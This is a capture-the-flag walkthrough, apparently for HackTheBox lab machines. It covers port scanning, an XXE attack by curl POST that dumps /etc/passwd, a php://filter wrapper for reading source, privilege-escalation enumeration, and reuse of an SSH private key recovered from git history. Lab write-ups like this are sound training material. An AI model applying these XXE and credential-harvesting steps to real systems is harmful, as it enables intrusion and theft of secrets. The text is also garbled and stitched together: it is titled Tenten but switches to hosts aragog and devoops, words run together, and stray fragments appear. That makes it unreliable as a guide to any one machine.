Tenten is an medium-rated Linux machine from HackTheBox created by egre55. In the current post, my IP is 10.10.14.76, and the target’s IP is 10.129.102.78
Recon
Local Terminal
> ping -c 1 10.129.102.78PING10.129.102.78 (10.129.102.78) 56(84) bytes of data.64bytesfrom10.129.102.78:icmp_seq=1ttl=63time=260ms---10.129.102.78pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=260.032/260.032/260.032/0.000ms
The machine is alive, and by the TTL (close but no more than 64), it is possible to think that the target is a Linux Machine.
Nmap scan report for 10.129.102.78Host is up, received user-set (0.26s latency).Scanned at 2023-09-1411:22:03-03 for 21sNot shown:65487 closed ports,45 filtered portsReason:65487 resets and 45 no-responsesSome closed ports may be reported asfiltereddueto--defeat-rst-ratelimitPORTSTATESERVICEREASON21/tcp open ftp syn-ack ttl 6222/tcp open ssh syn-ack ttl 6280/tcp open http syn-ack ttl 62
Local Terminal
nmap-sCV-p21,22,8010.129.102.78-oNTarget
nmap -sCV -p 21,22,8010.129.102.78-oN TargetStarting Nmap 7.80 ( https://nmap.org ) at 2023-09-14 11:22 -03Nmapscanreportfor10.129.102.78Hostisup (0.26slatency).PORTSTATESERVICEVERSION21/tcpopenftpvsftpd3.0.3|ftp-anon:AnonymousFTPloginallowed (FTPcode230)|_-r--r--r-- 1ftpftp86Dec212017test.txt|ftp-syst:|STAT:|FTPserverstatus:|Connectedto::ffff:10.10.14.76|Loggedinasftp|TYPE:ASCII|Nosessionbandwidthlimit|Sessiontimeoutinsecondsis300|Controlconnectionisplaintext|Dataconnectionswillbeplaintext|Atsessionstartup, client count was 1| vsFTPd 3.0.3 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)80/tcp open http Apache httpd 2.4.18|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Did not follow redirect to http://aragog.htb/Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
There are two open ports. First the port 22 with ssh, if you search about "OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 launchpad", we can see that the target is an "Ubuntu Xenial". And about the port 80, the web page, if you search "Apache httpd 2.4.18 launchpad", it confirms that is an Ubuntu Xenial.
Both are the same, so there is a significant reduced chance to find a Docker Container here.
The port 80 have a redirect, add the IP to the /etc/hosts and launch another nmap scan.
florian@aragog:~$iduid=1000(florian) gid=1000(florian) groups=1000(florian)florian@aragog:~$cd/florian@aragog:/$find \-perm-40002>/dev/null./bin/su./bin/mount<...>florian@aragog:/$getcap-r/2>/dev/null/usr/bin/traceroute6.iputils=cap_net_raw+ep/usr/bin/mtr=cap_net_raw+ep/usr/bin/systemd-detect-virt=cap_dac_override,cap_sys_ptrace+epflorian@aragog:/$cat/etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command17****rootcd/&&run-parts--report/etc/cron.hourly256***roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.daily )476**7roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.weekly )5261**roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.monthly )
There is nothing around here, let's try with pspy or with procmon at /tmp.
procmon.sh
#!/bin/bashfunctionctrl_c(){echo-e"\n[!] Exit [!]\n"exit1}# Ctrl+Ctrapctrl_cINTold_process=$(ps-eocommand)whiletrue; do new_process=$(ps-eocommand)diff<(echo "$old_process")<(echo "$new_process")|grep"[\>\<]"|grep-vE"procmon|command|kworker" old_processs=$new_processdone
Local Terminal
> curl -s -X POST -d @exploit.txt http://aragog.htb/hosts.phpThereare4294967294possiblehostsforroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologin<...>
A
Local Terminal
> curl -s -X POST -d @test.txt http://aragog.htb/hosts.phpThereare62possiblehostsfor255.255.255.192
It e.
Local Terminal
> curl -s -X POST -d @test.txt http://aragog.htb/hosts.phpThereare62possiblehostsfor255.255.255.192
From here we got a lot of information. First, the output is visible, this means that is possible to execute an XXE, and second, there is an user called "roosa" at the system.
Exploitation
Let's see if the exploits works, creating a file with vi exploit_proof.xml, then upload it.
In many machines, this exploits fails, an alternative to these situation, because the target use php, is the use of wrappers, like "php://filter/convert.base64-encode/resource=/var/www/html/index.php" after SYSTEM.
roosa@devoops:~$iduid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)# group (adm), you can see the system's log with > ls -l /var/log roosa@devoops:~$lsb_release-aNoLSBmodulesareavailable.DistributorID:UbuntuDescription:Ubuntu16.04.4LTSRelease:16.04Codename:xenial#Niceroosa@devoops:~$ls-latotal156<...>drwx------3rootroot4096Mar262021.dbusdrwxrwxr-x4roosaroosa4096Mar262021deploydrwxr-xr-x2roosaroosa4096Mar262021Desktop-rw-r--r--1roosaroosa25Mar212018.dmrc<...>drwxr-xr-x2roosaroosa4096Mar262021Templates-r--------1roosaroosa33Sep1315:04user.txtdrwxr-xr-x2roosaroosa4096Mar262021Videosdrwxrwxr-x3roosaroosa4096Mar262021work<...>
A lot of files, but there are two curious folder, deploy and work. Let's check work.
Good, there is git, in those cases is always a good practice to see the commits for old relevant information... ALWAYS! But first, let's see if there is another hidden file here.
Many user to test the id_rsa, if is not the correct one, we should check the past-commits for mistakes.
Copy the authcredentials.keys as id_rsa to the tmp folder, then connect through ssh.
Target Terminal [roosa]
roosa@devoops:/home$cd/tmproosa@devoops:/tmp$cp/home/roosa/work/blogfeed/resources/integration/authcredentials.key/tmp/id_rsaroosa@devoops:/tmp$chmod600id_rsaroosa@devoops:/tmp$ssh-iid_rsaroot@localhost# It requires password with every user, forget about it.
Return to the blogfeed folder with cd /home/roosa/work/blogfeed
Target Terminal [roosa]
roosa@devoops:~/work/blogfeed$gitlog
"reverted accidental commit with proper key" looks like an interesting mistake, copy the commit code.